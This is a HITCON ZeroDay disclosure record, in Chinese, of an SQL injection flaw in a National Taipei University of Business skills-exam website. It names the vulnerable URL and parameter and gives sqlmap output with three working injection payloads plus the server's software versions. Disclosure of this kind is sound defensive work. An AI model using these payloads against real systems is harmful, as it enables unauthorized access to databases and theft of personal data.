國立台北商業技術學院-門市服務管理技能檢定系統網站存在SQL-Injection弱點 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2017-01107
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 國立台北商業技術學院-門市服務管理技能檢定系統網站存在SQL-Injection弱點
  • Introduction: 網站存在SQL-Injection弱點

處理狀態

目前狀態

公開
Last Update : 2018/01/23
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2017/11/23 23:42:02 : 新提交 (由 傳說中的廢人 更新此狀態)
  • 2017/11/24 23:07:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/11/28 12:57:23 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/11/28 12:57:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/11/28 12:57:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/01/23 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2017-01107
  • 通報者:elijiachen (傳說中的廢人)
  • 風險:中
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

注入點:
http://www.stss2.ntub.edu.tw/student_page/stu_01__s_1_3_show.php?idx=5

敘述

GET parameter 'idx' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 197 HTTP(s) requests:

Parameter: idx (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: idx=5' AND 7032=7032 AND 'sJqn'='sJqn

Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: idx=5' AND ROW(9878,5941)>(SELECT COUNT(*),CONCAT(0x716b6b6271,(SELECT (ELT(9878=9878,1))),0x716a767171,FLOOR(RAND(0)*2))x FROM (SELECT 8164 UNION SELECT 7181 UNION SELECT 8233 UNION SELECT 7468)a GROUP BY x) AND 'QiPy'='QiPy

Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 OR time-based blind (heavy query - comment)
Payload: idx=5' OR 6419=BENCHMARK(5000000,MD5(0x7565694f))#

[18:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL >= 4.1
[18:35:58] [INFO] fetched data logged to text files under '/tmp/sqlmapJhgo7n12790/sqlmapoutput_TRGWf/www.stss2.ntub.edu.tw'

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;